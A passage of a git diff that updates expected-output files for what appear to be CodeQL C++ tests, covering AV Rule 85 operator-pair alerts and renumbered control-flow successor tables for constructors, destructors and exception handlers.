its opposite operator operator<. | -| AV Rule 85.cpp:62:7:62:14 | MyClass7 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 66, but it is not defined in terms of its opposite operator operator>=. | -| AV Rule 85.cpp:62:7:62:14 | MyClass7 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 73, but it is not defined in terms of its opposite operator operator>. | -| AV Rule 85.cpp:62:7:62:14 | MyClass7 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 71, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:62:7:62:14 | MyClass7 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 68, but it is not defined in terms of its opposite operator operator<. | -| AV Rule 85.cpp:62:7:62:14 | MyClass7 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 66, but it is not defined in terms of its opposite operator operator>=. | -| AV Rule 85.cpp:62:7:62:14 | MyClass7 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 73, but it is not defined in terms of its opposite operator operator>. | -| AV Rule 85.cpp:62:7:62:14 | MyClass7 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 71, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:62:7:62:14 | MyClass7 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 68, but it is not defined in terms of its opposite operator operator<. | -| AV Rule 85.cpp:79:7:79:14 | MyClass8 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 83, but it is not defined in terms of its opposite operator operator>=. | | AV Rule 85.cpp:79:7:79:14 | MyClass8 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 90, but it is not defined in terms of its opposite operator operator>. | | AV Rule 85.cpp:79:7:79:14 | MyClass8 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 88, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:79:7:79:14 | MyClass8 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 85, but it is not defined in terms of its opposite operator operator<. | -| AV Rule 85.cpp:79:7:79:14 | MyClass8 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 83, but it is not defined in terms of its opposite operator operator>=. | -| AV Rule 85.cpp:79:7:79:14 | MyClass8 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 90, but it is not defined in terms of its opposite operator operator>. | -| AV Rule 85.cpp:79:7:79:14 | MyClass8 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 88, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:79:7:79:14 | MyClass8 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 85, but it is not defined in terms of its opposite operator operator<. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 107, but it is not defined in terms of its opposite operator operator>=. | | AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 114, but it is not defined in terms of its opposite operator operator>. | | AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 112, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 109, but it is not defined in terms of its opposite operator operator<. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 107, but it is not defined in terms of its opposite operator operator>=. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 114, but it is not defined in terms of its opposite operator operator>. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 112, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 109, but it is not defined in terms of its opposite operator operator<. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 107, but it is not defined in terms of its opposite operator operator>=. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 114, but it is not defined in terms of its opposite operator operator>. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 112, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:103:7:103:14 | MyClass9 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 109, but it is not defined in terms of its opposite operator operator<. | diff --git a/cpp/ql/test/successor-tests/conditional_destructors/cfg.expected b/cpp/ql/test/successor-tests/conditional_destructors/cfg.expected index 9b11047f62f..7a28d79a4a3 100644 --- a/cpp/ql/test/successor-tests/conditional_destructors/cfg.expected +++ b/cpp/ql/test/successor-tests/conditional_destructors/cfg.expected @@ -1,167 +1,167 @@ -| C1::C1 | false | 131 | 131 | C1 | -| C1::C1 | false | 136 | 136 | this | -| C1::C1 | false | 137 | 137 | val | -| C1::C1 | false | 139 | 139 | x | -| C1::C1 | false | 141 | 141 | ... = ... | -| C1::C1 | false | 143 | 143 | ExprStmt | -| C1::C1 | false | 145 | 145 | return ... | -| C1::C1 | false | 147 | 147 | { ... } | -| C1::C1 | false | 178 | 178 | C1 | -| C1::C1 | false | 180 | 180 | C1 | -| C1::C1 | true | 136 | 137 | | -| C1::C1 | true | 137 | 141 | | -| C1::C1 | true | 139 | 136 | | -| C1::C1 | true | 141 | 145 | | -| C1::C1 | true | 143 | 139 | | -| C1::C1 | true | 145 | 131 | | -| C1::C1 | true | 147 | 143 | | -| C1::operator= | false | 174 | 174 | operator= | -| C1::operator= | false | 176 | 176 | operator= | -| C1::operator== | false | 153 | 153 | operator== | -| C1::operator== | false | 158 | 158 | this | -| C1::operator== | false | 159 | 159 | val | -| C1::operator== | false | 161 | 161 | other | -| C1::operator== | false | 163 | 163 | (reference dereference) | -| C1::operator== | false | 165 | 165 | val | -| C1::operator== | false | 167 | 167 | ... == ... | -| C1::operator== | false | 169 | 169 | return ... | -| C1::operator== | false | 171 | 171 | { ... } | -| C1::operator== | true | 158 | 159 | | -| C1::operator== | true | 159 | 161 | | -| C1::operator== | true | 161 | 165 | | -| C1::operator== | true | 165 | 167 | | -| C1::operator== | true | 167 | 153 | | -| C1::operator== | true | 169 | 158 | | -| C1::operator== | true | 171 | 169 | | -| C2::C2 | false | 195 | 195 | C2 | -| C2::C2 | false | 200 | 200 | this | -| C2::C2 | false | 201 | 201 | val | -| C2::C2 | false | 203 | 203 | x | -| C2::C2 | false | 205 | 205 | ... = ... | -| C2::C2 | false | 207 | 207 | ExprStmt | -| C2::C2 | false | 209 | 209 | return ... | -| C2::C2 | false | 211 | 211 | { ... } | -| C2::C2 | false | 250 | 250 | C2 | -| C2::C2 | true | 200 | 201 | | -| C2::C2 | true | 201 | 205 | | -| C2::C2 | true | 203 | 200 | | -| C2::C2 | true | 205 | 209 | | -| C2::C2 | true | 207 | 203 | | -| C2::C2 | true | 209 | 195 | | -| C2::C2 | true | 211 | 207 | | -| C2::operator= | false | 248 | 248 | operator= | -| C2::operator== | false | 228 | 228 | operator== | -| C2::operator== | false | 233 | 233 | this | -| C2::operator== | false | 234 | 234 | val | -| C2::operator== | false | 236 | 236 | other | -| C2::operator== | false | 238 | 238 | (reference dereference) | -| C2::operator== | false | 240 | 240 | val | -| C2::operator== | false | 242 | 242 | ... == ... | -| C2::operator== | false | 244 | 244 | return ... | -| C2::operator== | false | 246 | 246 | { ... } | -| C2::operator== | true | 233 | 234 | | -| C2::operator== | true | 234 | 236 | | -| C2::operator== | true | 236 | 240 | | -| C2::operator== | true | 240 | 242 | | -| C2::operator== | true | 242 | 228 | | -| C2::operator== | true | 244 | 233 | | -| C2::operator== | true | 246 | 244 | | -| C2::~C2 | false | 214 | 214 | ~C2 | -| C2::~C2 | false | 218 | 218 | ; | -| C2::~C2 | false | 220 | 220 | return ... | -| C2::~C2 | false | 222 | 222 | { ... } | -| C2::~C2 | true | 218 | 220 | | -| C2::~C2 | true | 220 | 214 | | -| C2::~C2 | true | 222 | 218 | | -| __va_list_tag::operator= | false | 61 | 61 | operator= | -| __va_list_tag::operator= | false | 65 | 65 | operator= | -| f1 | false | 260 | 260 | f1 | -| f1 | false | 268 | 268 | call to operator== | +| C1::C1 | false | 264 | 264 | C1 | +| C1::C1 | false | 386 | 386 | C1 | +| C1::C1 | false | 390 | 390 | C1 | +| C1::C1 | false | 427 | 427 | this | +| C1::C1 | false | 428 | 428 | val | +| C1::C1 | false | 430 | 430 | x | +| C1::C1 | false | 432 | 432 | ... = ... | +| C1::C1 | false | 434 | 434 | ExprStmt | +| C1::C1 | false | 436 | 436 | return ... | +| C1::C1 | false | 438 | 438 | { ... } | +| C1::C1 | true | 427 | 428 | | +| C1::C1 | true | 428 | 432 | | +| C1::C1 | true | 430 | 427 | | +| C1::C1 | true | 432 | 436 | | +| C1::C1 | true | 434 | 430 | | +| C1::C1 | true | 436 | 264 | | +| C1::C1 | true | 438 | 434 | | +| C1::operator= | false | 376 | 376 | operator= | +| C1::operator= | false | 382 | 382 | operator= | +| C1::operator== | false | 254 | 254 | operator== | +| C1::operator== | false | 404 | 404 | this | +| C1::operator== | false | 406 | 406 | val | +| C1::operator== | false | 408 | 408 | other | +| C1::operator== | false | 410 | 410 | (reference dereference) | +| C1::operator== | false | 411 | 411 | val | +| C1::operator== | false | 413 | 413 | ... == ... | +| C1::operator== | false | 415 | 415 | return ... | +| C1::operator== | false | 417 | 417 | { ... } | +| C1::operator== | true | 404 | 406 | | +| C1::operator== | true | 406 | 408 | | +| C1::operator== | true | 408 | 411 | | +| C1::operator== | true | 411 | 413 | | +| C1::operator== | true | 413 | 254 | | +| C1::operator== | true | 415 | 404 | | +| C1::operator== | true | 417 | 415 | | +| C2::C2 | false | 201 | 201 | C2 | +| C2::C2 | false | 313 | 313 | C2 | +| C2::C2 | false | 361 | 361 | this | +| C2::C2 | false | 362 | 362 | val | +| C2::C2 | false | 364 | 364 | x | +| C2::C2 | false | 366 | 366 | ... = ... | +| C2::C2 | false | 368 | 368 | ExprStmt | +| C2::C2 | false | 370 | 370 | return ... | +| C2::C2 | false | 372 | 372 | { ... } | +| C2::C2 | true | 361 | 362 | | +| C2::C2 | true | 362 | 366 | | +| C2::C2 | true | 364 | 361 | | +| C2::C2 | true | 366 | 370 | | +| C2::C2 | true | 368 | 364 | | +| C2::C2 | true | 370 | 201 | | +| C2::C2 | true | 372 | 368 | | +| C2::operator= | false | 307 | 307 | operator= | +| C2::operator== | false | 191 | 191 | operator== | +| C2::operator== | false | 327 | 327 | this | +| C2::operator== | false | 329 | 329 | val | +| C2::operator== | false | 331 | 331 | other | +| C2::operator== | false | 333 | 333 | (reference dereference) | +| C2::operator== | false | 334 | 334 | val | +| C2::operator== | false | 336 | 336 | ... == ... | +| C2::operator== | false | 338 | 338 | return ... | +| C2::operator== | false | 340 | 340 | { ... } | +| C2::operator== | true | 327 | 329 | | +| C2::operator== | true | 329 | 331 | | +| C2::operator== | true | 331 | 334 | | +| C2::operator== | true | 334 | 336 | | +| C2::operator== | true | 336 | 191 | | +| C2::operator== | true | 338 | 327 | | +| C2::operator== | true | 340 | 338 | | +| C2::~C2 | false | 342 | 342 | ~C2 | +| C2::~C2 | false | 347 | 347 | ; | +| C2::~C2 | false | 349 | 349 | return ... | +| C2::~C2 | false | 351 | 351 | { ... } | +| C2::~C2 | true | 347 | 349 | | +| C2::~C2 | true | 349 | 342 | | +| C2::~C2 | true | 351 | 347 | | +| __va_list_tag::operator= | false | 90 | 90 | operator= | +| __va_list_tag::operator= | false | 97 | 97 | operator= | +| f1 | false | 244 | 244 | f1 | +| f1 | false | 261 | 261 | call to operator== | +| f1 | false | 262 | 262 | call to C1 | +| f1 | false | 267 | 267 | 1 | +| f1 | false | 268 | 268 | (const C1)... | | f1 | false | 269 | 269 | call to C1 | -| f1 | false | 273 | 273 | 1 | +| f1 | false | 273 | 273 | 2 | | f1 | false | 274 | 274 | (const C1)... | -| f1 | false | 276 | 276 | call to C1 | -| f1 | false | 280 | 280 | 2 | -| f1 | false | 281 | 281 | (const C1)... | -| f1 | false | 283 | 283 | (reference to) | -| f1 | false | 285 | 285 | ; | -| f1 | false | 287 | 287 | { ... } | -| f1 | false | 289 | 289 | if (...) ... | -| f1 | false | 292 | 292 | call to operator== | -| f1 | false | 293 | 293 | call to C1 | -| f1 | false | 297 | 297 | 3 | -| f1 | false | 298 | 298 | (const C1)... | -| f1 | false | 300 | 300 | call to C1 | -| f1 | false | 304 | 304 | 3 | -| f1 | false | 305 | 305 | (const C1)... | -| f1 | false | 307 | 307 | (reference to) | -| f1 | false | 309 | 309 | ; | -| f1 | false | 311 | 311 | { ... } | -| f1 | false | 313 | 313 | if (...) ... | -| f1 | false | 315 | 315 | return ... | -| f1 | false | 317 | 317 | { ... } | -| f1 | true | 268 | 287 | T | -| f1 | true | 268 | 313 | F | -| f1 | true | 269 | 268 | | +| f1 | false | 275 | 275 | (reference to) | +| f1 | false | 276 | 276 | ; | +| f1 | false | 278 | 278 | { ... } | +| f1 | false | 280 | 280 | if (...) ... | +| f1 | false | 283 | 283 | call to operator== | +| f1 | false | 284 | 284 | call to C1 | +| f1 | false | 288 | 288 | 3 | +| f1 | false | 289 | 289 | (const C1)... | +| f1 | false | 290 | 290 | call to C1 | +| f1 | false | 294 | 294 | 3 | +| f1 | false | 295 | 295 | (const C1)... | +| f1 | false | 296 | 296 | (reference to) | +| f1 | false | 297 | 297 | ; | +| f1 | false | 299 | 299 | { ... } | +| f1 | false | 301 | 301 | if (...) ... | +| f1 | false | 303 | 303 | return ... | +| f1 | false | 305 | 305 | { ... } | +| f1 | true | 261 | 278 | T | +| f1 | true | 261 | 301 | F | +| f1 | true | 262 | 261 | | +| f1 | true | 267 | 262 | | +| f1 | true | 269 | 267 | | | f1 | true | 273 | 269 | | -| f1 | true | 276 | 273 | | -| f1 | true | 280 | 276 | | -| f1 | true | 285 | 313 | | -| f1 | true | 287 | 285 | | -| f1 | true | 289 | 280 | | -| f1 | true | 292 | 311 | T | -| f1 | true | 292 | 315 | F | -| f1 | true | 293 | 292 | | -| f1 | true | 297 | 293 | | -| f1 | true | 300 | 297 | | -| f1 | true | 304 | 300 | | -| f1 | true | 309 | 315 | | -| f1 | true | 311 | 309 | | -| f1 | true | 313 | 304 | | -| f1 | true | 315 | 260 | | -| f1 | true | 317 | 289 | | -| f2 | false | 320 | 320 | f2 | -| f2 | false | 328 | 328 | call to operator== | -| f2 | false | 329 | 329 | call to C2 | -| f2 | false | 333 | 333 | 1 | -| f2 | false | 334 | 334 | (const C2)... | -| f2 | false | 336 | 336 | call to C2 | -| f2 | false | 340 | 340 | 2 | -| f2 | false | 341 | 341 | (const C2)... | -| f2 | false | 343 | 343 | (reference to) | -| f2 | false | 345 | 345 | ; | -| f2 | false | 347 | 347 | { ... } | -| f2 | false | 349 | 349 | if (...) ... | -| f2 | false | 352 | 352 | call to operator== | -| f2 | false | 353 | 353 | call to C2 | -| f2 | false | 357 | 357 | 3 | -| f2 | false | 358 | 358 | (const C2)... | -| f2 | false | 360 | 360 | call to C2 | -| f2 | false | 364 | 364 | 3 | -| f2 | false | 365 | 365 | (const C2)... | -| f2 | false | 367 | 367 | (reference to) | -| f2 | false | 369 | 369 | ; | -| f2 | false | 371 | 371 | { ... } | -| f2 | false | 373 | 373 | if (...) ... | -| f2 | false | 375 | 375 | return ... | -| f2 | false | 377 | 377 | { ... } | -| f2 | true | 328 | 347 | T | -| f2 | true | 328 | 373 | F | -| f2 | true | 329 | 328 | | -| f2 | true | 333 | 329 | | -| f2 | true | 336 | 333 | | -| f2 | true | 340 | 336 | | -| f2 | true | 345 | 373 | | -| f2 | true | 347 | 345 | | -| f2 | true | 349 | 340 | | -| f2 | true | 352 | 371 | T | -| f2 | true | 352 | 375 | F | -| f2 | true | 353 | 352 | | -| f2 | true | 357 | 353 | | -| f2 | true | 360 | 357 | | -| f2 | true | 364 | 360 | | -| f2 | true | 369 | 375 | | -| f2 | true | 371 | 369 | | -| f2 | true | 373 | 364 | | -| f2 | true | 375 | 320 | | -| f2 | true | 377 | 349 | | +| f1 | true | 276 | 301 | | +| f1 | true | 278 | 276 | | +| f1 | true | 280 | 273 | | +| f1 | true | 283 | 299 | T | +| f1 | true | 283 | 303 | F | +| f1 | true | 284 | 283 | | +| f1 | true | 288 | 284 | | +| f1 | true | 290 | 288 | | +| f1 | true | 294 | 290 | | +| f1 | true | 297 | 303 | | +| f1 | true | 299 | 297 | | +| f1 | true | 301 | 294 | | +| f1 | true | 303 | 244 | | +| f1 | true | 305 | 280 | | +| f2 | false | 181 | 181 | f2 | +| f2 | false | 198 | 198 | call to operator== | +| f2 | false | 199 | 199 | call to C2 | +| f2 | false | 204 | 204 | 1 | +| f2 | false | 205 | 205 | (const C2)... | +| f2 | false | 206 | 206 | call to C2 | +| f2 | false | 210 | 210 | 2 | +| f2 | false | 211 | 211 | (const C2)... | +| f2 | false | 212 | 212 | (reference to) | +| f2 | false | 213 | 213 | ; | +| f2 | false | 215 | 215 | { ... } | +| f2 | false | 217 | 217 | if (...) ... | +| f2 | false | 220 | 220 | call to operator== | +| f2 | false | 221 | 221 | call to C2 | +| f2 | false | 225 | 225 | 3 | +| f2 | false | 226 | 226 | (const C2)... | +| f2 | false | 227 | 227 | call to C2 | +| f2 | false | 231 | 231 | 3 | +| f2 | false | 232 | 232 | (const C2)... | +| f2 | false | 233 | 233 | (reference to) | +| f2 | false | 234 | 234 | ; | +| f2 | false | 236 | 236 | { ... } | +| f2 | false | 238 | 238 | if (...) ... | +| f2 | false | 240 | 240 | return ... | +| f2 | false | 242 | 242 | { ... } | +| f2 | true | 198 | 215 | T | +| f2 | true | 198 | 238 | F | +| f2 | true | 199 | 198 | | +| f2 | true | 204 | 199 | | +| f2 | true | 206 | 204 | | +| f2 | true | 210 | 206 | | +| f2 | true | 213 | 238 | | +| f2 | true | 215 | 213 | | +| f2 | true | 217 | 210 | | +| f2 | true | 220 | 236 | T | +| f2 | true | 220 | 240 | F | +| f2 | true | 221 | 220 | | +| f2 | true | 225 | 221 | | +| f2 | true | 227 | 225 | | +| f2 | true | 231 | 227 | | +| f2 | true | 234 | 240 | | +| f2 | true | 236 | 234 | | +| f2 | true | 238 | 231 | | +| f2 | true | 240 | 181 | | +| f2 | true | 242 | 217 | | diff --git a/cpp/ql/test/successor-tests/exceptionhandler/ellipsisexceptionhandler/graphable.expected b/cpp/ql/test/successor-tests/exceptionhandler/ellipsisexceptionhandler/graphable.expected index 76d6a4d3260..a28b1037807 100644 --- a/cpp/ql/test/successor-tests/exceptionhandler/ellipsisexceptionhandler/graphable.expected +++ b/cpp/ql/test/successor-tests/exceptionhandler/ellipsisexceptionhandler/graphable.expected @@ -1,59 +1,59 @@ -| __va_list_tag::operator= | false | 61 | 61 | operator= | -| __va_list_tag::operator= | false | 65 | 65 | operator= | -| f | false | 128 | 128 | f | -| f | false | 139 | 139 | 1 | -| f | false | 140 | 140 | throw ... | -| f | false | 142 | 142 | ExprStmt | -| f | false | 144 | 144 | { ... } | -| f | false | 146 | 146 | { ... } | -| f | false | 148 | 148 | { ... } | -| f | false | 150 | 150 | | -| f | false | 151 | 151 | | -| f | false | 152 | 152 | try { ... } | -| f | false | 154 | 154 | { ... } | -| f | false | 156 | 156 | { ... } | -| f | false | 158 | 158 | | -| f | false | 159 | 159 | try { ... } | -| f | false | 161 | 161 | return ... | -| f | false | 163 | 163 | { ... } | -| f | true | 139 | 140 | | -| f | true | 140 | 150 | | -| f | true | 142 | 139 | | -| f | true | 144 | 142 | | -| f | true | 146 | 161 | | -| f | true | 148 | 161 | | -| f | true | 150 | 146 | | -| f | true | 150 | 151 | | -| f | true | 151 | 148 | | -| f | true | 152 | 144 | | -| f | true | 154 | 152 | | -| f | true | 156 | 161 | | -| f | true | 158 | 128 | | -| f | true | 158 | 156 | | -| f | true | 159 | 154 | | -| f | true | 161 | 128 | | -| f | true | 163 | 159 | | -| g | false | 167 | 167 | g | -| g | false | 171 | 171 | condition | -| g | false | 175 | 175 | 1 | -| g | false | 176 | 176 | throw ... | -| g | false | 178 | 178 | ExprStmt | -| g | false | 180 | 180 | if (...) ... | -| g | false | 182 | 182 | { ... } | -| g | false | 184 | 184 | { ... } | -| g | false | 186 | 186 | | -| g | false | 187 | 187 | try { ... } | -| g | false | 189 | 189 | return ... | -| g | false | 191 | 191 | { ... } | -| g | true | 171 | 178 | T | -| g | true | 171 | 189 | F | -| g | true | 175 | 176 | | -| g | true | 176 | 186 | | -| g | true | 178 | 175 | | -| g | true | 180 | 171 | | -| g | true | 182 | 180 | | -| g | true | 184 | 189 | | -| g | true | 186 | 184 | | -| g | true | 187 | 182 | | -| g | true | 189 | 167 | | -| g | true | 191 | 187 | | +| __va_list_tag::operator= | false | 92 | 92 | operator= | +| __va_list_tag::operator= | false | 99 | 99 | operator= | +| f | false | 175 | 175 | f | +| f | false | 182 | 182 | 1 | +| f | false | 183 | 183 | throw ... | +| f | false | 185 | 185 | ExprStmt | +| f | false | 187 | 187 | { ... } | +| f | false | 192 | 192 | { ... } | +| f | false | 194 | 194 | { ... } | +| f | false | 196 | 196 | | +| f | false | 197 | 197 | | +| f | false | 198 | 198 | try { ... } | +| f | false | 200 | 200 | { ... } | +| f | false | 205 | 205 | { ... } | +| f | false | 207 | 207 | | +| f | false | 208 | 208 | try { ... } | +| f | false | 210 | 210 | return ... | +| f | false | 212 | 212 | { ... } | +| f | true | 182 | 183 | | +| f | true | 183 | 196 | | +| f | true | 185 | 182 | | +| f | true | 187 | 185 | | +| f | true | 192 | 210 | | +| f | true | 194 | 210 | | +| f | true | 196 | 192 | | +| f | true | 196 | 197 | | +| f | true | 197 | 194 | | +| f | true | 198 | 187 | | +| f | true | 200 | 198 | | +| f | true | 205 | 210 | | +| f | true | 207 | 175 | | +| f | true | 207 | 205 | | +| f | true | 208 | 200 | | +| f | true | 210 | 175 | | +| f | true | 212 | 208 | | +| g | false | 145 | 145 | g | +| g | false | 153 | 153 | condition | +| g | false | 157 | 157 | 1 | +| g | false | 158 | 158 | throw ... | +| g | false | 160 | 160 | ExprStmt | +| g | false | 162 | 162 | if (...) ... | +| g | false | 164 | 164 | { ... } | +| g | false | 166 | 166 | { ... } | +| g | false | 168 | 168 | | +| g | false | 169 | 169 | try { ... } | +| g | false | 171 | 171 | return ... | +| g | false | 173 | 173 | { ... } | +| g | true | 153 | 160 | T | +| g | true | 153 | 171 | F | +| g | true | 157 | 158 | | +| g | true | 158 | 168 | | +| g | true | 160 | 157 | | +| g | true | 162 | 153 | | +| g | true | 164 | 162 | | +| g | true | 166 | 171 | | +| g | true | 168 | 166 | | +| g | true | 169 | 164 | | +| g | true | 171 | 145 | | +| g | true | 173 | 169 | | diff --git a/cpp/ql/test/successor-tests/exceptionhandler/exceptionhandler/graphable.expected b/cpp/ql/test/successor-tests/exceptionhandler/exceptionhandler/graphable.expected index a434cbca885..4a664fd60a7 100644 --- a/cpp/ql/test/successor-tests/exceptionhandler/exceptionhandler/graphable.expected +++ b/cpp/ql/test/successor-tests/exceptionhandler/exceptionhandler/graphable.expected @@ -1,66 +1,66 @@ -| C::operator= | false | 75 | 75 | operator= | -| C::operator= | false | 81 | 81 | operator= | -| D::operator= | false | 91 | 91 | operator= | -| D::operator= | false | 97 | 97 | operator= | -| __va_list_tag::operator= | false | 60 | 60 | operator= | -| __va_list_tag::operator= | false | 66 | 66 | operator= | -| f | false | 115 | 115 | f | -| f | false | 120 | 120 | call to g | -| f | false | 122 | 122 | ExprStmt | -| f | false | 126 | 126 | 2 | -| f | false | 127 | 127 | throw ... | -| f | false | 129 | 129 | ExprStmt | -| f | false | 131 | 131 | label ...: | -| f | false | 133 | 133 | { ... } | -| f | false | 141 | 141 | 4 | -| f | false | 142 | 142 | ExprStmt | -| f | false | 144 | 144 | { ... } | -| f | false | 146 | 146 | | -| f | false | 147 | 147 | try { ... } | -| f | false | 149 | 149 | { ... } | -| f | false | 157 | 157 | 5 | -| f | false | 158 | 158 | ExprStmt | -| f | false | 160 | 160 | { ... } | -| f | false | 168 | 168 | 6 | -| f | false | 169 | 169 | ExprStmt | -| f | false | 171 | 171 | { ... } | -| f | false | 173 | 173 | | -| f | false | 174 | 174 | | -| f | false | 175 | 175 | try { ... } | -| f | false | 177 | 177 | return ... | -| f | false | 179 | 179 | { ... } | -| f | true | 122 | 120 | | -| f | true | 126 | 127 | | -| f | true | 127 | 146 | | -| f | true | 129 | 126 | | -| f | true | 131 | 177 | | -| f | true | 133 | 122 | | -| f | true | 141 | 177 | | -| f | true | 142 | 141 | | -| f | true | 144 | 142 | | -| f | true | 146 | 144 | | -| f | true | 146 | 173 | | -| f | true | 147 | 133 | | -| f | true | 149 | 147 | | -| f | true | 157 | 177 | | -| f | true | 158 | 157 | | -| f | true | 160 | 158 | | -| f | true | 168 | 177 | | -| f | true | 169 | 168 | | -| f | true | 171 | 169 | | -| f | true | 173 | 160 | | -| f | true | 173 | 174 | | -| f | true | 174 | 115 | | -| f | true | 174 | 171 | | -| f | true | 175 | 149 | | -| f | true | 177 | 115 | | -| f | true | 179 | 175 | | -| g | false | 102 | 102 | g | -| g | false | 107 | 107 | 1 | -| g | false | 108 | 108 | throw ... | -| g | false | 110 | 110 | ExprStmt | -| g | false | 112 | 112 | { ... } | -| g | true | 107 | 108 | | -| g | true | 108 | 102 | | -| g | true | 110 | 107 | | -| g | true | 112 | 110 | | +| C::operator= | false | 250 | 250 | operator= | +| C::operator= | false | 261 | 261 | operator= | +| D::operator= | false | 232 | 232 | operator= | +| D::operator= | false | 243 | 243 | operator= | +| __va_list_tag::operator= | false | 92 | 92 | operator= | +| __va_list_tag::operator= | false | 99 | 99 | operator= | +| f | false | 149 | 149 | f | +| f | false | 157 | 157 | call to g | +| f | false | 159 | 159 | ExprStmt | +| f | false | 163 | 163 | 2 | +| f | false | 164 | 164 | throw ... | +| f | false | 166 | 166 | ExprStmt | +| f | false | 168 | 168 | label ...: | +| f | false | 170 | 170 | { ... } | +| f | false | 178 | 178 | 4 | +| f | false | 179 | 179 | ExprStmt | +| f | false | 181 | 181 | { ... } | +| f | false | 183 | 183 | | +| f | false | 184 | 184 | try { ... } | +| f | false | 186 | 186 | { ... } | +| f | false | 193 | 193 | 5 | +| f | false | 194 | 194 | ExprStmt | +| f | false | 196 | 196 | { ... } | +| f | false | 203 | 203 | 6 | +| f | false | 204 | 204 | ExprStmt | +| f | false | 206 | 206 | { ... } | +| f | false | 208 | 208 | | +| f | false | 209 | 209 | | +| f | false | 210 | 210 | try { ... } | +| f | false | 212 | 212 | return ... | +| f | false | 214 | 214 | { ... } | +| f | true | 159 | 157 | | +| f | true | 163 | 164 | | +| f | true | 164 | 183 | | +| f | true | 166 | 163 | | +| f | true | 168 | 212 | | +| f | true | 170 | 159 | | +| f | true | 178 | 212 | | +| f | true | 179 | 178 | | +| f | true | 181 | 179 | | +| f | true | 183 | 181 | | +| f | true | 183 | 208 | | +| f | true | 184 | 170 | | +| f | true | 186 | 184 | | +| f | true | 193 | 212 | | +| f | true | 194 | 193 | | +| f | true | 196 | 194 | | +| f | true | 203 | 212 | | +| f | true | 204 | 203 | | +| f | true | 206 | 204 | | +| f | true | 208 | 196 | | +| f | true | 208 | 209 | | +| f | true | 209 | 149 | | +| f | true | 209 | 206 | | +| f | true | 210 | 186 | | +| f | true | 212 | 149 | | +| f | true | 214 | 210 | | +| g | false | 154 | 154 | g | +| g | false | 222 | 222 | 1 | +| g | false | 223 | 223 | throw ... | +| g | false | 225 | 225 | ExprStmt | +| g | false | 227 | 227 | { ... } | +| g | true | 222 | 223 | | +| g | true | 223 | 154 | | +| g | true | 225 | 222 | | +| g | true | 227 | 225 | | diff --git a/cpp/ql/test/successor-tests/stackvariables/stackvariables/graphable.expected b/cpp/ql/test/successor-tests/stackvariables/stackvariables/graphable.expected index 57bc35805e3..03f49c4b623 100644 --- a/cpp/ql/test/successor-tests/stackvariables/stackvariables/graphable.expected +++ b/cpp/ql/test/successor-tests/stackvariables/stackvariables/graphable.expected @@ -1,512 +1,512 @@ -| BoxedInt::BoxedInt | false | 70 | 70 | BoxedInt | -| BoxedInt::BoxedInt | false | 75 | 75 | this | -| BoxedInt::BoxedInt | false | 76 | 76 | m_ptr | -| BoxedInt::BoxedInt | false | 80 | 80 | x | -| BoxedInt::BoxedInt | false | 82 | 82 | new | -| BoxedInt::BoxedInt | false | 84 | 84 | ... = ... | -| BoxedInt::BoxedInt | false | 86 | 86 | ExprStmt | -| BoxedInt::BoxedInt | false | 88 | 88 | return ... | -| BoxedInt::BoxedInt | false | 90 | 90 | { ... } | -| BoxedInt::BoxedInt | false | 134 | 134 | BoxedInt | -| BoxedInt::BoxedInt | true | 75 | 76 | | -| BoxedInt::BoxedInt | true | 76 | 84 | | -| BoxedInt::BoxedInt | true | 80 | 82 | | -| BoxedInt::BoxedInt | true | 82 | 75 | | -| BoxedInt::BoxedInt | true | 84 | 88 | | -| 